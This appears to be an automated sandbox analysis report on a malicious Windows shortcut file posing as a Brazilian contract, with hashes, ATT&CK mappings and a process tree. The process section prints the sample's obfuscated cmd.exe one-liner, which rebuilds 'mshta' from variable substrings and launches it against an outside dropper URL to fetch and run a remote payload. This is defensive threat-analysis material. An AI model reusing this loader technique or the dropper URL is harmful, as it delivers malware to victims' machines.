75833293f40af849ef6698e044747d5cb7ed8eef955a23224bc289f5721d74be

Analysis

max time kernel
148s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-61J3ZY.lnk
Size 2KB
Sample260803-pydpyahf69
SHA256 75833293f40af849ef6698e044747d5cb7ed8eef955a23224bc289f5721d74be
MD5 b21cd3ecb942e6fd2a28dada3d4d3055
SHA1 71b1765782cf520e82bc5b1ddb13b38e09793538
SHA512 cfefd166adc27dd814b410ceb1580956f97a10768d3fba2a27b4f54e50ad0a31e4dc92464e2b4e2b9dd731d904742ac0204107b72f61b617774c2e6a449c796f
TLSH
T1454168943AFD01D8F2BB9F72EEBE6750497BB9A26D60C58E0490C14C1426B01D577B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4976	mshta.exe
4	4976	mshta.exe
5	4976	mshta.exe
6	4976	mshta.exe
8	4976	mshta.exe
9	4976	mshta.exe
14	4976	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1236	cmd.exe
4836	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1236 wrote to memory of 4836	1236	cmd.exe	89
PID 4836 wrote to memory of 4976	4836	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-61J3ZY.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1236
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set lNsAC=logcubztsoulog&set yAa=olddiusold&set psh=4ms9qs&&set sEn=vh4ps&&set ofgD=f1ta5c8&set vXLT=daturpnlpcwldat&set wybVG=datxzdqxklfwhvagujqdat&set MAoH=oldvsmdzjjinhbqold&set SWDj=tmpakftartmp&set zzz=u3as8&&set KW=htez&&set QtoA=6wart1w&set fxI=winwgfyvyuhwin&set dm=tmpfyclubdsejaimlbtmp&&set jGZQ=https:@//ag@l@oba@[email protected]/h@/e@sta@gio@[email protected]@hp@?r=271@E62@FD@409@3@CD@4@D6@D&&start /b !psh:~1,2!!sEn:~1,1!!ofgD:~2,2! !jGZQ:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4836
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads